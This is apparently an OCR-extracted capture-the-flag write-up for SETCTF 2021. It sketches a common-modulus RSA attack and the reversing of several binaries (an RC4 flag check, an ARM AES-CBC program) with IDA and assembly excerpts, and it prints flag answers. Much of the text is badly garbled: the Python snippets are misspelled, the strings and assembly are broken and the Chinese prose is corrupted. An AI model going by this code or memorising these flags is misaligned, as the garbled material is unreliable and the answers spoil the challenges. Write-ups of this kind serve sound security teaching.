c2=4394140483582027396414209878206104352212535028072936611631194317110868910811444444729551196909010712953018711
9024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996
322468276744714063735786505249416708394394169324315945145477883438003569372460172268277

gongmogongji(n, cl, c2, el, e2)

vert(c2,n)
m=| (c1,51,n)* (c2,52 n)%n
mzgmpy2.ireot(m,2)[0]
(long_to_bytes(m))

AppData/Local/Temp/fpm3.py/main.py

HEREF, Bhit@e

ﬂag?ﬂ:
SETCTF{now_you_master_common_mode_attack}




EasyRe

B #Eshift+F 123047 /7 B IR E ]

ruction Data Unexplored External symbol [ Lumina functioen

7ox IDA View—h [ Stri“gs window [ aﬂccm’rences of: £c5e038438:570 [ @ Hex View-1 [ Structures || i Enums 8 Imp:
# || Address Length Type  String

rdata:00417ECA 0000002
rdata:00417EF8  0000001E
.rdata:00417FF4 00000011
rdata:00418008 00000014
rdata:00418020 00000020
.rdata:00418048 00000026

Stack memory around _alloca was corruptedirin
Unknown Runtime Check Error\rin

Unknown Filename

Unknown Meodule Mame

Run-Time Check Failure #3%d - 9%s

Stack corrupted near unknown variable

rdata:00418078 00000006 96.2X
rdata:00418080 00000049 Stack area around _alloca memory reserved by this function is corruptedyn
.rdata:004180E0 00000009 YnData: =

rdata:004180EC 00000024
.rdata:00418120 00000008
rdata:0041812C 00000000
rdata:00418140 00000048
.rdata:00418198 0000001A
rdata:004181B8 00000034
rdata:00418210 00000019
.rdata:00418230 00000024
rdata:00418264 00000018
rdata:00418280 00000024
.rdata:004182B4 0000001F

\nAllocation number within this function:

YWnSize:

\nAddress: Ox

Stack area around _alloca memory reserved by this function is corrupted
98595 %pIesIezd s %6d s 2es YosI0s%es

A variable is being used without being initialized.

Stack pointer corruption

Cast to smaller type causing loss of data

Stack memory corruption

Local variable used before initialization

Stack around _alloca corrupted

wlt rdata:004183B0 0000000E RegQOpenKeyExW
rdata:004183C0 00000011 RegQueryValueExW
rdata:00418304  0000000C RegClosekey
v || [8] rdata:004184CC 00000011 PDBOpenValidateS

([ T T T A Y O T T T T T o T Y O T T A T T T T T o B R T

> B .data:0041A034 fc5e038d38a57032085441e7fe7010b0

Line 36 of 36

ﬂag?ﬂ:
flag{fc5e038d38a57032085441e7fe701

findme

DAZAN, KBRABEIRERKE, ¥/ LRSS, B EOD



W

int _ cdecl main(int argc, const char **argv, const char **e

=
<N
int result; //
int v4; //

sub_4024€0();

puts(“Please input your flag:");
scanf("¥s", str, );

if ( CheckLen(str) )

if ( off_403844("SETCTF2021", str) )
printf("Success!");

else
printf("Wrong!”);

system("pause™);

z'a;

}

else

I

{

system("pause”);

= @;

}

return =

MEEIDAKR A H R, B Aeax i, TAWm, R T calleaxif IR EL, #EIDAZKSES 1T

C70424 9440400 mov dword ptr ss:[esp],chall.ff404094
E8 3D1206880 call <{jmp.&msvcrt.scanf>

C76424 4860400 mov dword ptr ss:[esp],chall.ff406040
E8 B9FBFFFF call chall.oouB1610

8%CA test eax,eax

74 LE Xchall.oe4B81AA9

A1 44384000 mov eax,

C7u424 B4 40860 mov dword ptr ss:[esp+0x4],chall.ff4860
C70424 9740400\ mov dword ptr :[esp],chall.fB4840897
FFD®@ call eax
894424 1C mov dword ptr ss

837C24 1C 60 cmp dword ptr ss:[esp+0Ox1C],0x0

74 BE B Xchall.ooup1a8A

C70424 A240400| mov dword ptr ss:[esp],chall.@o4040A2
E8 EO110000 call <{jmp.&msvcrt.printf>

[ espFoXTCT eon

emRC4IN%E, 7T



o

memset(v2, @, sizeof(vI));

17 memset(vs, @, sizeof(vid)});
18  memset(v7, @, sizeof(v7));
19 for (i =8; ; ++1 )

28 {

21 2 = i;

22 if ( w2 »= strlen(al) )
23 break;

24 v7[1] = al[i];

25 }

26 memset(ve, @, sizeof(ve));
27 for ( § =85 ; ++7 )

28| {

29 3= g3

38 if ( w3 »= strlen(a2) )
31 break;

32 g[31 = =2[31;

33| }

34| v1e = strlen(ve);

35 w4 = strlen(v7);

36 sub 48164C(v3, v7, v4);

37 for ( k = 8; k <= 255; ++k )
38 va[k] = valk];

39 sub 4eile7(va, ve, vie);

48 for (1 = @; 1 <= 511; ++1 )
42 if ( ve[1l] != dword_4e@3e4e[1] )
43 return &;

a4 }

45 return 1;

46}

ANAAATMRC mak ANTRER - 20 (AN1ORCY

WAEdump N 50 i, EEMER

SuL_TUs sy uLy uwLy wiugy

for ( 1 =@; 1 <= 511; ++1 )

if ( ve[1l] !'= dword _4@3e48[1] )
return 8;

| e O_phEsess | | ]
, HilH EE REAME o 183 82, 133, 193, 144, 233, 7, 184, 226, 26, 195, 189, 29, 142, 133, 70, 0, 33, 65, 175, 239, 112, SO, 181, 17, 198 }, “SEICTF2021”, #RCAELE))
)

ﬂagﬁ'\J:
power

CHEARITIF— B



/ r1; r3

r0, [r7, #4]
_ZN3aes8gfmultbyEhh(PLT)
J r3, r0
/s r2, #2
J rl, r3
r0, [r7, #4]
ZN3EESgfmultbyEhh(PLT)
J r3, r0
J r2, r3
[ r3, [r7, #15]
3 r3, r3, r2
b r3, r3
.L39

| r3, [r7, #2] @ zero_extendqisi2

] r3, #11
.L46
| r3, [r7, #15] @ zero_extendgisi2?
/s r2, #2
/ r1, r3
r0, [r7, #4]
_ZN3aes8gfmultbyEhh(PLT)
/ r3, r0
/5 re, #2
/ r1, r3
r0, [r7, #4]
_ZN3aes8gfmultbyEhh(PLT)
' r3 N

FRZ EHaesHIFH 8, S4SEET



7| power - 12E%
MR REE EI0) EEV) EEIH)

.align 2
L84:
word _GLOBAL OFFSET TABLE -(.LPIC12+4)
word _stack_chk_guard(GOT)
word  .LCO-(.LPIC11+4)
.word _GLOBAL OFFSET TABLE -(.LPIC13+4)
fnend
size _ZN3aesi4encryption_cbcEPcS0 , .- ZN3aesT4encryption_cbcEPcSO_
section  .rodata
.align 2
LC2:
.ascii "input flag:\000"
.align 2
.LC3:
.ascii "1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e"
.ascii "489d2a140427b\000"
.align 2
LC4:
.ascii "yeah, you get it"\000"
.align 2
.LC5:
.ascii "wrong\00o0"
.align 2
LCT:
.ascii githis is a key!!|0IK
text
.align 1
.global  main
.syntax unified
Ahumb
thumb func
fpu vfpv3-di6
type main, %function
main:
fnstart
LFB1527:

@ args = 0, pretend = 0, frame = 232
@ frame _needed = 1, uses_anonymous_args = 0
push {r4, r5, 16, 17, Ir}

e P A e B

=127

RIS this_is_a_key!!!

X TaesPiz MR T, B g R AT



MD5 RipeMD SHA HMAC - DES 3DES

B resEsinEgs T

AESEES RIS inE (Advanced Encryption Standard, AES) , M#RRijndaein®%, S=EBIEAmERN—HREMERE.
LEPEHREEAEN, EACYpo)S(126/192/2560)BIABHTF ISR, ZREERESHE, BAESJava(1286)Eis A0S TIES.
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